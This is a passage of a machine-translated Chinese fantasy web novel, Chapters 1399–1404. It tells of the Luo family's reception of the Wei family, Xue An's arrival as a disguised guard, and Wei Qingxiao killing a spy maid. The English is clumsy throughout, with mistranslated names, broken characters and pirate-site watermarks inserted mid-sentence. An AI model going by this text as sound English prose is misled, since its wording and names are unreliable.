    "It''s very simple. My old man has already handed over all the power to me. He has only one sentence, and he must do a good job in this reception!" Mo Jing said.


    "I am almost the same!"


    Luo Qifeng nodded, "Well, it should not be too late, we will start preparing now!"


    After all, he stood up and led the two people to the place where the Luo family''s main sect was.


    If the other courtyard just now is magnificent, then this Luo family home can only be described as shocking.


    Rows of exquisite buildings are lined up, and you can''t see the end at a glance.


    Although it was not the first time I saw him, Mo Jing couldn''t help but sigh, "What a luxury! It seems that the reception of the children of the Wei family this time must be done by Brother Luo!"


    Pan Yongge also nodded, "It''s really good!"


    Luo Qifeng chuckled, "Don''t worry, two of you, since we all know about this, it''s naturally a shared benefit. When the time comes, the three of us will receive it together!"


    "Hahahaha, Brother Luo is really bold!" Mo Jing smiled very happily.


    But this laughter is a bit sincere, it is not known.


    When Luo Qifeng and the three returned to the Luo family''s home, the entire Luo family quickly began to act.


    Countless servants began to tidy up this mansion that was already exquisite enough.


    Not only that, people from Pan and Mo''s family also came here continuously For a time, the whole Luo family became extremely lively.


    Naturally, this big battle has also attracted the attention of all parties.


    After inquiring, an extremely shocking news spread like wildfire.


    "What? The Wei family of the Central Ghost Realm should have direct children to come?" After hearing this, a wealthy family was shocked and inexplicable.


    "No wonder the Luo family moved all the way, and the Pan Mo family spared no effort. It turned out to be the reason!"


    "Then what are we going to do? How can all three of them be taken over by such good things?"


    "Strange, what kind of status is the Wei family? I heard that many of those direct descendants have been promoted to ghost emperors, and even half of the strongest ones have already stepped into the palace master state. How can such an existence suddenly come to us?"


    For a time, opinions were divergent, and the depths of the entire ghost world were also disturbed.


    Under this situation, in a certain corner, the space oscillated, and then Xue An and Luo Jingting walked out one after another.

 Chapter 1399： The Luo Family Benzong

    Xue An is no stranger to the depths of the ghost world.


    When he was in the ghost world, he had been to this world more than once.


    But now the times have changed, and when I set foot on this world again, many things have changed their appearance.


    All the things of the past have been dissipated, and the depths of the ghost realm are now occupied by powerful people from everywhere.


    These strong men are all amazing in strength, but without exception, everyone is full of resentment.


    This violent and cruel power even changed the world, making it all smog.


    So the moment after Xue An stepped into this world, his brows frowned imperceptibly.


    But although many things have changed, one thing has not changed.


    Wangui City is still the most prosperous and important capital in this world.


    Almost all wealthy families live here.


    This also makes this city of thousands of ghosts quickly developed into a super city.


    So when Xue An and his party came outside the city of Ten Thousand Ghosts, what appeared in front of them was a city standing on a plateau, like a city suspended in the clouds.


    And the wall, which was as high as a hundred feet tall and dark, exuded an extremely cold power, which made people tremble and dare not look directly.


    Despite the towering city walls, standing outside the city, you can still see the pavilions and palaces in the city straight into the clouds.


    That is where the rich and powerful people live in the city.


    If you are a less powerful person, you will not dare to move forward if you just rely on the momentum of this ten thousand ghost city.


    But to Xue An, all of this seemed like a breeze, and he moved forward without even lifting his eyelids.


    In this trip to the depths of the ghost world, in addition to Luo Jingting, Wen Muling also followed.


    Compared with Luo Jingting''s silence, Wen Muling was obviously more excited.


    As the surviving Shadow Guard, she was thinking about revenge all the time.


    However, due to limitations in strength, he has not been able to do so.


    But now following Xue An, let her finally see hope.


    Especially this time, the place is second only to the central ghost world.


    Seeing the soaring black air over the city of Ten Thousand Ghosts, Wen Mu Ling secretly clenched his fists.


    Master Mingjun, I am here to avenge you!


    at last!


    Xue An and his party arrived in front of a very large mansion in Wangui City.


    Xue An stood with his hand in his hand and said lightly: "Is this the Luo family?"


    Luo Jingting raised his head and looked at the mansion. There was a complicated light flashing in his eyes, panic and anxiety.


    But in the end, she took a deep breath and nodded slowly, "Yes, this is where the Luo family''s main clan is!"


    Luo Jingting had been here with Luo Li, so he was very impressed here.


    But this impression is by no means a good impression.


    Luo Jingting still remembers the lofty faces of the descendants of the Luo family when the fashionable and young self followed Luo Li into the area.


    And Luo Li, who had always been arrogant, instantly transformed into a kowtow worm that nodded and bowed his waist. The look of humility and kneeling could hardly get rid of Luo Jingting''s heart.


    So no matter how much she encouraged herself on the road, when she really stood in front of the Luo family mansion, she still couldn''t help trembling all over, and her heart was full of fear.


    A cold smile appeared at the corner of Xue An''s mouth, "Let''s go! Go in and see!"


    After that, I stepped into it.


    Luo Jingting froze in place.


    Wen Muling followed close behind, but when she passed by Luo Jingting''s side, she said softly: "Miss Luo, follow up!"


    As soon as this remark came out, Luo Jingting was shocked and hurriedly followed.


    The Luo family residence occupies a very large area, with several gates alone, and the gates are towering and majestic.


    In front of the door, there are also powerful and powerful Yin soldiers and ghosts guarding.


    Such a battle is enough to scare many people off.


    Xue An didn''t even look at it, and walked straight in.


    The guards were taken aback for a moment, and then they shouted in shock, "What are you doing? Can you break in here?"


    At the same time, a fierce-looking ghost general saw that Xue Annai was a human, and couldn''t help laughing a few times, then brandished a long whip and drew straight towards Xue An.


    The long whip made a numbing scalp breaking through the air, and it was so strong that it seemed to shatter the soul of a person.


    This is how the Luo family acted regardless of the fact that the Luo family acted like this.


    Xue An didn''t seem to see the whip, and continued to walk forward without squinting.


    There was a cruel smile on the ghost general''s face, as if he had seen this young man in white clothes smashed into his body with a whip.


    But at this moment, the whip in the air suddenly stagnated, and then it disintegrated directly in the air.


    The ghost general was stunned. Before he could figure out what was going on, he realized that his arm was a bit strange and couldn''t help but look down.


    Then the scene that caught his eye made him terrified.


    He saw cracks spreading along the broken long whip, covering his palm in an instant, and extending upward at a very fast speed.


    With a few crisp sounds, the ghost general''s palms turned into fragments and fell one after another.


    "No..." The ghost howl hurriedly and violently.


    Because this kind of fragmentation does not only affect the body, but penetrates into the soul, the sharp pain is enough to make people collapse.


    But this ghost general is worthy of being an elite. Seeing that the situation is not good, he cut off that arm without hesitation, trying to break the spreading crack.


    But all this is just his wishful thinking.


    When the arm fell to the ground and turned into powder, countless cracks instantly appeared in the whole body of this ghost general.


    The ghost stood froze in the same place, staring blankly at the expressionless white-clothed boy in front of him, a flash of horror flashed in his eyes.


    Then... he collapsed like a toppled building block.


    In an instant, the janitor who had just flaunted his might turned into fragments all over the floor, and his soul was lost.


    At this time, everyone in front of the door looked stupid.


    "You...what did you do?" Guijiang pointed at Xue An and tremblingly said.


    Although no one had seen any movements of the boy in white, the more it was, the more frightening it was.


    After all... the unknown is always the most terrifying.


    Xue An raised his eyebrows slightly and glanced at the group of ghost soldiers and ghosts.


    Wherever they looked, these people were shocked and then retreated.


    At this moment, there was a tumult in the gate, and then a young man came out from it.


    When they saw this man, the guards all looked happy, and then all bowed to salute.


    "I have seen Master Seven!"


    That''s right!


    The visitor was Luo Jian, the seventh youngest member of the Luo family.


    I saw that his face was like a crown jade, and his appearance was good. When he stood in front of the door, he had an air of grace.

 Chapter 1400： District

    Facing the salute of many soldiers, he only nodded slightly, but his eyes swept across the ghost general who had turned into powder on the ground, his pupils shrank instantly, and then he looked at everyone in Xue An.


    When he looked at Luo Jingting, he couldn''t help but startled slightly.


    He heard the news from the soldiers in front of the door and hurried over.


    I thought it was someone visiting, but I never thought it was Luo Jingting.


    Luo Jian naturally knew this collateral child.


    Even when Luo Jingting came here with Luo Li last time, Luo Jian had personally received him.


    But because of this, Luo Jian became more and more confused.


    How could a collateral kid with such a powerful strength even kill the ghost generals in front of him?


    Could the problem lie with this young man in white?


    These questions slid in Luo Jian''s heart for an instant, but his surface remained unmoved, and he even quickly recovered his calmness, and then smiled at Luo Jingting.


    "Who am I? It turns out to be my surprise sister!"


    The language was gentle and soothing, and at first it sounded like a brother saw his own sister.


    When Luo Jingting saw Luo Jian, he couldn''t help but let out a sigh.


    When she came to this sect with Luo Li, almost no one looked at [the eighth district www.dibaquxsw.biz] who could afford her. The only person who left a good impression on her was Luo Jian.


    Now that it was him, Luo Jingting was naturally full of joy.


    "It turns out to be Brother Seven!" Luo Jingting gave a salute.


    "It''s easy! How come Sister Jingying has time to come back? Also, who is this?" Luo Jian''s eyes stayed on Xue An''s body and never left.


    "I came to visit you on behalf of my mother. As for this... he is my guard!"


    On the way here, a few people had already negotiated. In order not to startle the snake, Xue An acted as Luo Jingting''s guard.


    "Guard?" Luo Jian took a deep look at Xue An, then smiled.


    "If that''s the case, please come in, Sister Shock!"


    Having said that, Luo Jianyi let Luo Jingting and Xue An into the mansion, and personally arranged a place for Luo Jingting, and finally left.


    When finally settled down, Wen Mu Ling couldn''t help but let out a sigh, and then said with some excitement: "Sir, what shall we do next?"


    Xue An glanced at the many buildings hidden in the shadows, and said lightly: "Don''t worry, I have a hunch that something fun will happen soon!"


    Wen Mu Ling was taken aback, then lowered her head thoughtfully.


    The arrival of Xue An and his party was like a drop of water dripping into the sea, without causing any waves.


    at the same time.


    In a study room in the Luo family mansion, Luo Qifeng listened to the report of his subordinates expressionlessly, then waved his hand, and his subordinates quietly retreated.


    After the study returned to calm, a beautiful woman walked out from behind the screen and said with a clever smile: "Big brother, this Luo Jingting suddenly arrived at this time, isn''t it a bit strange?"


    Luo Qifeng leaned on the soft collapse and said lightly: "What kind of storm can be caused by a mere collateral child?"


    "You can listen to what I said just now, my seventh brother seems to take this Luo Jingting seriously, and even guide the way personally!" The woman smiled.


    Luo Qifeng sneered, "Do you think he was because of this Luo Jingting? He just valued the man who killed the gatekeeper!"


    "That''s true. I heard that the boy in white clothes who appeared in front of the door today is so powerful that he didn''t even see him do anything, so he killed the ghost general on the spot!"


    "No matter how powerful it is? It''s just the courage of a man!" At this point, Luo Qifeng''s face showed a touch of ridicule.


    "Old Qi only has this ability. He wants to make friends with outsiders all day long, but he never thought about it. Only when he is strong can he be truly strong! Not to mention killing a gatekeeper. Is it a strong one? It''s just a mere ant, it''s not worth mentioning!"


    When saying this, Luo Qifeng''s tone was very indifferent, and his whole person exuded an extraordinary charm.


    The woman looked at Luo Qifeng a little fascinated, and her eyes showed worship.


    As the third Miss of the Luo family, she has always admired her elder brother since she was a child.


    Especially after growing up, this kind of worship has even evolved into a pathological belief.


    So when Luo Xuan heard Luo Qifeng''s confident words, the whole person fell into a state of intoxication.


    At the same time, I saw a black light flying through the air and stopping directly in front of Luo Qifeng.


    Luo Qifeng''s face sank, he immediately took the letter paper, and when he opened it, he suddenly stood up.


    "What''s wrong, big brother?" Luo Xuan asked.


    Luo Qifeng said with a solemn expression: "I just received the news that the Wei family has already left and will be here soon."


    Upon hearing this, Luo Xuan''s face couldn''t help showing a solemn look.


    "Then shall we meet now?"


    Luo Qifeng shook his head, "No need! People from Wei''s family will come directly to our Luo''s house at that time! So the most important thing now is to be prepared to make sure nothing goes wrong!"


    Speaking of this, Luo Qifeng took a deep look at his sister Luo Xuan, and said in a deep voice: "You will be fully responsible for this matter, are you sure?"


    Luo Xuan smiled, "Don''t worry, brother, I have my own measures!"


    Luo Qifeng nodded, "Very well, then you will start preparing immediately!"


    "Yes!"


    Luo Xuan took the order and left.


    Luo Qifeng stood in front of the window, with a faint smile on his arrogant face.


    In any case, as long as he can climb the Wei family''s relationship, then even if he soars into the sky, he will even lead the Luo family one step forward.


    Compared with these, a mere Luo Jingting is really not worth his troubles.


    With the news of the coming of the Wei family, the entire Luo family began to boil.


    Luo Xuan madly dispatched personnel to sort out all the affairs and ensure that nothing went wrong.


    The people from the Pan Mo family who had been sent to assist before, also heard the wind to make the whole situation more enthusiastic.


    In this situation, Wen Mu Ling asked curiously.


    "My lord, what is this Luo family doing so busy?"


    Xue An didn''t change his expression. In fact, he didn''t know what these people were going to do.


    But he has a hunch that this matter is absolutely important.


    Luo Jingting also woke up from the initial confusion, but she couldn''t do much and could only wait silently.


    Just in this situation.


    A huge ghost ship suddenly appeared in the depths of this ghost world with a powerful posture.


    Among the ghosts, a woman who described a little haggard said softly: "Master, it is already here!"


    With the voice, I saw the chair slowly turned, and then I saw the person sitting on it giggling, and even a long drool fell from the corner of his mouth.


    Just like a... fool!

 Chapter 1401： Weis sister and brother are in a difficult situation

    The boy''s face was originally called a handsome face, because of the silly smile on his face, it gave people a very foolish feeling.


    The saliva dripping from the corner of his mouth made him as naive and ridiculous as a child.


    At this moment, the teenager mumbled something vaguely.


    "Sister... Sister, will there be delicious food when you arrive?"


    Seeing this scene, a sorrow flashed across the woman''s face, then stepped forward, took out a clean handkerchief, and gently wiped the saliva from the corner of the boy''s mouth.


    "Yes, Master, there will be so many delicious foods when you arrive!"


    "Hee hee, it''s... so good!" The young man started to applaud very happily, but he couldn''t take a piece of his hands, instead he punched his arm red.


    A maidservant standing aside saw this, with a strange look on her face, and then lowered her head slightly.


    The woman patiently grasped the young man''s wrist and said softly, "Master, don''t move about it now! After that, let''s eat something delicious!"


    "Yeah!" The young man nodded heavily, his eyes that seemed clear without a trace of impurities were full of joy.


    The woman smiled and soothed a few more words, and then stood up with pity on her face.


    But the moment after she turned around, the smile on her face disappeared instantly, replaced by a biting killing intent.


    "Come here!" The woman faintly said to the maid beside her, and then walked out.


    The maid was shocked, but she did not dare to defy the slightest, and followed the woman and left the cabin.


    The moment the door was closed, the woman suddenly raised her hand and slapped the handmaid away.


    Plop!


    The maid fell to the ground, and because the woman used too much force, the slap even slapped her face crooked, so it was very strange.


    But even so, this maid did not dare to defy the slightest, she could only look at the slowly walking woman trembling all over, and shouted almost hoarsely: "Miss, please! Miss, please!"


    The woman walked in front of her, stopped and looked at her coldly.


    "Do you know where you went wrong?"


    The handmaid got up from the ground and knelt at the woman''s feet, shaking like chaff.


    "Does your expression just now feel that Cang''er is a fool, so you look down on him at all in your heart?" the woman asked coldly.


    "Miss, I was wrong! Please forgive me!" The handmaid slammed her head bangingly, so hard that she even shattered the deck of this ghostly plane, apparently she had been terrified to the extreme.


    "Spare? Haha..." The corners of the woman''s mouth raised slightly, and a cruel smile was outlined, and then she slowly leaned down and said softly in the ear of the maidservant.


    "Don''t think I don''t know who you are! Since my third brother Wei Yuhua dares to put you here, you should plan for the worst in advance, right?"


    This sentence was like a curse, making the maidservant who was kowtowing her head madly stiffened instantly, and her face showed infinite panic and despair.


    "Miss, I..."


    The woman waved her hand, then straightened her waist again, and said lightly: "Don''t ask for mercy, you know, it''s useless! You should understand this since you made this decision!"


    The woman looked at the maidservant''s face pale due to excessive panic, and then said: "In fact, if it''s just the eyeliner inserted, I don''t bother to deal with you, but you shouldn''t be disrespectful to Cang''er! He is the whole Wei no matter what. A well-deserved young man!"


    Speaking of this, the woman stepped on her handmaid��s head, and an abnormal flushing color appeared on her face, ��No matter how unwilling Wei Yuhua and others are, they will never be able to compare to Cang''er! Because Cang''er is. The real protagonist Tianjiao! It is the existence that you ants can''t reach! But you dare to be disrespectful to her? Huh?"


    While talking, the woman twisted the soles of her feet vigorously.


    With a sour sound of broken muscles and bones, the maid struggling in pain, then heard a muffled sound.


    The handmaid''s body suddenly slowed down, her hands and feet twitching unconsciously, but she had lost her vitality.


    The woman pulled her feet out of her shattered head, her face still flushed with lingering anger.


    The blood flowed silently from under the maidservant''s body, and in the thick **** air, a little black light floated from the maid''s body.


    The woman raised her hand to gather up the scattered hair, tied a ponytail behind her head, and said lightly: "Put her ghost body on the torture post. I want all the people to see and dare to be disrespectful to my brother. , What will be the end!"


    In the shadow of the corridor walked out a gray-haired old man, he bowed slightly at the woman, "Yes! Miss!"


    After that, he stepped forward and grabbed the ghost of this maid, turned and walked out!


    The maid howled sadly, and the woman frowned slightly.


    The old man suddenly shook it without hesitation, and with a click, the maidservant''s throat was crushed, and the screams naturally stopped abruptly [Dantengxs.top].


    But the whole ghostly servants had already heard the horrible howl just now, and they couldn''t help being shocked, and there was a look of horror in their eyes.


    At the same time, someone wiped off the blood on the corridor floor very quickly, and everything returned to normal.


    If it were not for the trace of blood remaining in the air, no one would have thought of what had just happened here.


    The woman did not return to the house, but stood in front of the window in the corridor, looking at the rapidly passing scenery beyond the ghost.


    Under the rapidly changing light and shadow, her face also became blurred, as if it had lost the real black film, giving a sense of emptiness.


    And the faint brilliance lingering in her pair of water-cut eyes could not distinguish between sadness and joy.


    It was not until a long time later that the woman sighed quietly.


    With this sigh a touch of depression and fatigue finally flashed on the woman''s unparalleled cheeks.


    She is indeed too tired!


    As the eldest of the Wei family, Wei Qingxiao has been known for her brutal and unruly temperament.


    As far as today is concerned, that kind of blood and cruelty is enough to make people feel terrified.


    But only she knew that if she didn''t do this, then her siblings and brothers would die.


    And all this is because Wei Haocang, Wei Qingxiao''s younger brother, is an out-and-out fool.


    This is not the key. The most important thing is that Wei Haocang is the eldest son from the main room.


    This identity is enviable in the Wei family, which is known as the first family in the ghost world.


    But if this person is a fool, then the situation is different.


    No one would be willing to succumb to a fool, so in these years, despite Wei Qingxiao''s efforts to suppress, but there are still many people ready to move.

 Chapter 1402： Big fights and intrigues

    Today''s maidservant is an example. It was Wei Yuhua, the third young master of the Wei family, who assigned her behind.


    This Wei Yuhua, in terms of strength and popularity, far surpassed Wei Haocang, who was dubbed the number one waste in the ages.


    But the problem is that Wei Haocang and Wei Qingxiao''s biological mothers who died early are the existences that the Wei family dare not easily provoke.


    Under this circumstance, even if Wei Yuhua is excellent, it is impossible for him to stand out.


    Therefore, Wei Yuhua went to great lengths to start planning, wishing to kill Wei Haocang immediately and then quickly.


    This maidservant is an example. If you don''t pay attention, your brother is likely to die under this maid''s hand.


    Therefore, Wei Qingxiao wants to eliminate all threats and ensure that no hidden dangers remain.


    And this kind of thing, since childhood, she has done so much.


    It was under her protection that Wei Haocang would grow up miraculously instead of dying early.


    But as Wei Haocang got older, the pressure on Wei Qingxiao was also increasing.


    No one would agree to a fool to be the young master of the Wei family.


    In this regard, Wei Qingxiao can only do everything possible to treat his younger brother, hoping that he can recover as soon as possible.


    But no matter how wonderful the elixir, how brilliant the doctor, there is nothing to do with Wei Haocang.


    In the words of a genius doctor whose strength is comparable to that of Da Luo, this young master Wei''s body is all normal, but his spirit is incomplete, as if some of the spirits are sealed by something and cannot be opened at all.


    This is equivalent to proclaiming Wei Haocang''s death sentence, but Wei Qing laughed not to give up.


    Since childhood, the only thing she liked or valued was her younger brother. For him, Wei Qingxiao even gave up everything.


    This trip to the depths of the ghost world was because the pressure from the family was too great. Wei Qingxiao found an excuse to lead his brother out to hide, and by the way, see if he could find a way to cure him. Disease.


    But Wei Qingxiao also knew that this hope... is as vague as it doesn''t exist!


    But no matter how slim hope, Wei Qingxiao will try.


    If it doesn''t work... The big deal is that I will kill all the children of the Wei family, and I will also protect my brother!


    A dangerous light flashed in Wei Qing''s smiling eyes, but her back became more and more lonely.


    At this moment, there was a sudden thump in the room behind him, and then he heard Wei Haocang''s cry.


    "Sister... I want sister!"


    The killing intent on Wei Qing''s smile faded instantly, replaced with a full smile, and then opened the door and walked in.


    at the same time.


    The Luo family mansion is brightly lit.


    The wealthy families from all walks of life almost filled the courtyard here.


    People got together and talked about it anxiously and excitedly.


    "Tsk tusk, I don''t know which young master of the Wei family will be here this time?" Someone said with a smile.


    "No matter who it is, it is enough for the Luo family to be proud of it! Didn''t you see? The many children of the Luo family are almost out of the nest!" Someone said with envy.


    "Aren''t the Pan family and Mo family the same? There are also many people from these two families!"


    "Hey, did you see it? The two young masters of the Mo family and the Pan family had a hot chat with Master Luo, and the seventh son Luo Jian on the side looked unhappy!"


    "Shhh! We shouldn''t talk about this matter of rich family complaints!"


    Although these people tried their best to lower their voices, Luo Jian''s cultivation skills, so he still heard all these words in his ears.


    Looking at the elder brother Luo Qifeng, who was standing in the front of the crowd with a full face, a light of hatred flashed in Luo Jian''s eyes, and the hands hanging in the long sleeves gradually became fists.


    Why!


    Why do I work harder than anyone else, but the result is still not as good as him?


    Is it just because he was born a few days earlier than me?


    I am not convinced!


    Luo Jian''s heart screamed frantically.


    At the same time, a fragrant breeze hit, Luo Xuan passed by him, and then said with a smile, "Seven brothers, your complexion is not so good! Would you like to take a rest?"


    Facing this little girl of her own, Luo Jian didn''t have the slightest expression, and even the hatred in her eyes was swept away, just a slight smile.


    "Don''t bother you!"


    "Really, haha..." Luo Xuan winked, and suddenly smiled: "Human race has a word, recognize yourself, only then understand it! I think it makes sense, what does Brother Seven think?"


    Luo Jian��s pupils instantly shrank to the size of a pinpoint, and stared at Luo Xuan coldly, ��That��s good, but there is another word from Human Race. There are some things. You have to fight to know your own weight! And if the younger sister is too much. Anxious, that face is not pretty!"


    "You..." Luo Xuan turned pale, gave Luo Jian a fierce look, and walked away.


    Luo Jian stared at Luo Xuan''s back, watching her swaying to Luo Qifeng''s side, and then talking with Mo Jing and Pan Yongge with a smile on her face, she couldn''t help but sneered slightly, using what only she could hear The voice whispered: "Shameless!"


    At the same time, Luo Xuan also took a chance and said in Luo Qifeng''s ear: "Big Brother, Seventh Brother looks very upset!"


    Luo Qifeng glanced at Luo Jian in the distance with the corner of his eye and smiled faintly, "Don''t worry about him! I see what storm he can make!"


    The powerful self-signaling in words Luo Xuan''s eyes were colorful, and he gave a very emotional hum.


    The subtle changes among these wealthy children, most people don''t even know, but it is so obvious in the eyes of some people who are interested.


    Compared with the many people around Luo Qifeng like stars holding the moon, Luo Jian looked much lonely and deserted here.


    But at this moment, a voice came from behind Luo Jian, "Why is the Seventh Young Master standing here alone?"


    Hearing this Luo Jian suddenly turned around, but saw a man in black standing not far away, looking at herself with a smile.


    Luo Jian was startled slightly, "Ren Tianqi?"


    That''s right, the person who came was the second young master of the Ren family, Ren Tianqi.


    It''s just that he, the second young master, was very aggrieved, because he was a concubine, and his mother did not have too strong strength, resulting in his average talent.


    So he couldn''t compare to the eldest master of the Ren family, Ren Tianyun in any respect.


    This also made him rarely appear in public, so when Luo Jian saw him, he couldn''t help being surprised.


    "Are you surprised?" Ren Tianqi chuckled, but there was no slight smile in his eyes.


    Luo Jian nodded and scanned the crowd as if looking for someone.


    "No need to look for it. My elder brother Ren Tianyun was sent to the fringe ghost world to search for something some time ago, and he has not returned until now!" Ren Tianqi said lightly.


    "Oh!" Luo Jian suddenly realized and nodded.

 Chapter 1403： Everyone is an actor

    Although he and Ren Tianqi didn''t meet many times, they had a very good relationship. Maybe this was because they were the second sons of the family and were in similar circumstances, so they had the same illness.


    Ren Tianqi walked to Luo Jian''s side, completely ignoring the weird looks of many people around him, and sneered: "Actually, I have to thank my big brother! If he hadn''t come back yet, I wouldn''t be eligible to participate in this kind of gathering!"


    Luo Jian did not say a word. Like Ren Tianqi, he used to complain and feel unfair, but after a long time, he has become a little numb. What''s more, he has learned to hide words in his stomach over the years. Not to make useless complaints.


    Ren Tianqi''s pale face flushed because of excitement, "Seventh Master, am I ridiculous now?"


    Luo Jian was silent for a moment, then shook his head gently, "Who is it?"


    "I am different from you, you have your own power anyway! Me? I am like a rag doll that no one wants, only to be used when needed!" Ren Tianqi said excitedly.


    Luo Jian gently waved his hand, "Brother Tianqi, you are so excited!"


    This sentence was like a needle that pierced Ren Tianqi''s resentment.


    In an instant, all his grievances were swept away, and then he changed to a gentle and harmless appearance, "Let Qi rare laugh!"


    The tone is sincere and the expression is indifferent.


    It was as if the scene just now was an illusion at all.


    This kind of disguise effort is enough to make people startled.


    Luo Jian just nodded slightly.


    The reason why these wealthy children of the ghost world compete so fiercely is entirely because of the prevalence of cultivation methods in the ghost world.


    Only one of the direct descendants of each generation can inherit everything.


    The loser is out of the game and becomes a waste.


    This cruel mode of taking all the winners and sinking the losers makes the wealthy children who can survive this kind of competition have a little special ability.


    For example, this kind of camouflage skill comparable to a movie emperor is a must.


    As for those who are too sincere and honest, either are dead or become pawns in the hands of others, being used by others without knowing it.


    Naturally, Ren Tianqi knew that he couldn''t hide this from Luo Jian. In fact, he didn''t even think about it.


    And the reason for doing this is just to show it to others.


    At the same time, I heard a burst of flattering and artificial laughter coming from a distance.


    Luo Jian looked up and saw another woman with well-dressed and delicate face beside Luo Qifeng and others.


    Ren Tianqi, who was standing next to him, sneered when he saw it, and resentment and unwillingness appeared in his eyes, "Seventh Master, you probably have never seen this woman!"


    Luo Jian shook his head.


    "Hehe, speaking of this woman is similar to ours, she is also a wealthy abandoned son! She is from the Tan family, this time my eldest brother went out not alone, Tan Feiwen, the eldest daughter of the Tan family, also followed, and now they Neither of them came back, so it was Tan Xiyao''s turn to attend this gathering!"


    It turned out to be from the Tan family! Luo Jian''s heart moved.


    Ren Tianqi continued to say coldly: "This Tan Xiyao is not a fuel-efficient lamp. She is always suppressed by her sister Tan Feiwen at home. There is no chance of getting ahead. This time she finally had a chance. She naturally wanted to seize it, but unfortunately. It''s a bit too ugly! And..."


    Speaking of this, Ren Tianqi paused, and then a sneer appeared on her face, "She is still wishful thinking, planning to use this opportunity to attach to the upcoming Wei family. What do you think this is not wishful thinking?"


    Luo Jian turned his head and took a deep look at Ren Tianqi, "Brother Tianqi, how do you know this woman so clearly?"


    Ren Tianqi was stunned, and immediately there was a look of depression on her face, and she whispered: "A few years ago, our two families had already negotiated and let me enter into a marriage contract with this Tan Xiyao! So speaking... ...."


    Ren Tianqi''s pale face showed humiliation, and she said in a dumb voice: "Now this woman who smiles at other men cleverly, and even wants to give her arms, is actually my fiancee!"


    Hearing these words, Luo Jian couldn''t help but startled, and immediately showed sympathy in his eyes, and sighed softly, "Brother Tianqi, let''s go, let''s go to the other side for a chat!"


    Ren Tianqi laughed nervously, "Qi Shao, are you sympathizing with me? Afraid that I can''t bear this blow?"


    Luo Jian was silent.


    Ren Tianqi shook her head, "No need. How can a wealthy and abandoned son like me have any dignity? And I have to watch it with my own eyes, because only in this way can I understand what this world is like!"


    While these wealthy boys were fighting in secret, Xue An was sitting in front of the window on the second floor drinking tea.


    The place where they live now is a very inconspicuous small courtyard in the Luo family mansion.


    But even so, the carved beams and buildings are still beautiful, and it is very close to the plaza used by the Luo family to receive distinguished guests.


    Sitting in front of the window on the second floor, you can even see the dark crowd in the distance.


    Xue An cooked the tea like running clouds and flowing water, never looking far away from start to finish.


    On the contrary, Luo Jingting and Wen Muling looked at the distance with weird faces.


    Especially Luo Jingting, when she saw the people in the square, she couldn''t help but be shocked.


    What are they going to do with such a big battle? Luo Jingting''s eyes were full of doubts.


    It''s the same for Wen Mu Ling, but she doesn''t have so many worries, instead she asks a little excitedly: "My lord, what are you doing with so much fun over there?"


    Without raising his head, Xue An slowly filled a cup of tea, then placed it on his mouth and took a sip, sighed contentedly, and then faintly said: "Should be waiting for someone!"


    "Waiting for someone?" Wen Muling looked at the distance curiously.


    Luo Jingting was shocked, a trace of panic appeared on his face.


    It alarmed so many people in the Luo family just to wait for someone, then what is the identity of the person?


    At this moment, the sound of wind and thunder suddenly came from above the sky.


    Everyone couldn''t help looking up.


    Seeing that in the distant sky, a huge and incomparable ghost appeared slowly, and then rushed here with the wind and thunder.


    There was a commotion in the crowd on the square.


    "Come here!" Many people said excitedly.


    Luo Qifeng looked at each other with Pan Yongge and Mo Jing, nodded to each other, and then took a few steps forward and stood respectfully.


    The crowd quickly became quiet.


    Immediately afterwards, this ghost ship appeared above the square.


    Until he appeared in front of him, he could see how huge this ghost ship was.


    Moreover, the black energy lingered above and the runes loomed, obviously it was still a rare ghost weapon.

 Chapter 1404： Xue An shock

    The audience fell in awe.


    Because in the middle of this ghost, there is a Wei character written in ghost text!


    The Wei family finally arrived.


    And above the small building, Wen Mu Ling opened her eyes sharply, staring at the ghost ship, her eyes showed an incomparable killing intent, and her whole body trembled slightly with excitement.


    "My lord... it turns out to be the Wei family of the Central Ghost Realm!" Of course, Wen Mu Ling would not forget the Wei family.


    When Mingjun died, this Wei family did a great job.


    Xue An put down the tea cup, glanced at the ghost in the distance, and said leisurely: "I saw it! Don''t worry, let''s watch it first!"


    "Yes...Yes!" Wen Muling dared not defy, and replied in a deep voice.


    As for Luo Jingting, she was already stunned when she saw the Wei character.


    at the same time.


    An escalator slowly stretched out above the ghost, and then many servants and maids walked out of it.


    Although they are subordinates, these people are full of surging ghost power, and they are obviously strong.


    Seeing this scene, a flash of horror flashed in the eyes of many people.


    Even the subordinates are so tyrannical, this Wei family really deserves its reputation.


    When these servants and maidservants came out, they stood on both sides in a tacit understanding, standing on both sides, waiting for something.


    Immediately afterwards, Wei Qingxiao walked out of the ghosts.


    The moment she appeared in front of everyone.


    Everyone''s eyes widened instantly, and they stared at this scene dumbfounded.


    As for the young men, even their heartbeat speeded up.


    Even Luo Qifeng, who claims to be "well-informed", couldn''t help but be astonished for a moment, but he immediately regained consciousness, and then his eyes showed ecstasy and fiery light.


    Because he recognized the person.


    Wei''s parents and daughter, Wei Qing, who is known for his lonely and unrestrained temperament, smiles!


    She actually came!


    In terms of appearance, Wei Qingxiao can be called stunning, especially when she is dressed in black, she not only shows a slim figure, but also adds a capable and mature temperament.


    But all this is a little eclipsed by her eyes.


    In those eyes, there was a calmness that was suffocating.


    But it is this kind of calm gaze that gives people a condescending look, which makes people afraid to look up.


    How could Luo Qifeng''s beautiful face and such a strong aura not make Luo Qifeng''s heart be moved.


    What''s more, the other party is Wei''s parents and daughter!


    If you can kiss Fangze, the benefits are not too much!


    At this moment, this idea was not only surging in Luo Qifeng''s heart, but almost all the men present began to think about it.


    But at this moment, Wei Qingxiao suddenly stretched out his hand among the ghosts, as if waiting for something.


    What is she going to do?


    Everyone was taken aback!


    But seeing a smile on Wei Qing''s glamorous and unparalleled face, he walked out with a well-dressed teenager.


    When I saw this young man, Xue An, who was drinking tea leisurely on the small building in the distance, instantly turned the tea cup in his hand into powder, and even the tea dripped to the ground.


    But Xue An didn''t notice this at all. He just stared at the young man, and a very complicated luster flashed in his eyes.


    Wen Muling and Luo Jingting were all taken aback by this sudden change. They all exclaimed, "My lord!"


    Xue An slowly recovered his calm, and then leaned back on the soft collapse. He looked at the two siblings in the distance meaningfully, and said lightly: "Interesting! Really interesting!"


    As he said, he flipped it over, the tea in his hand evaporated, and then picked up another teacup, quietly watching the scene in the distance.


    Wen Muling and Luo Jingting didn''t understand what Xue An was talking about, but he could tell by his reaction. It should be a very important event, so Qi Qi silenced and didn''t dare to speak.


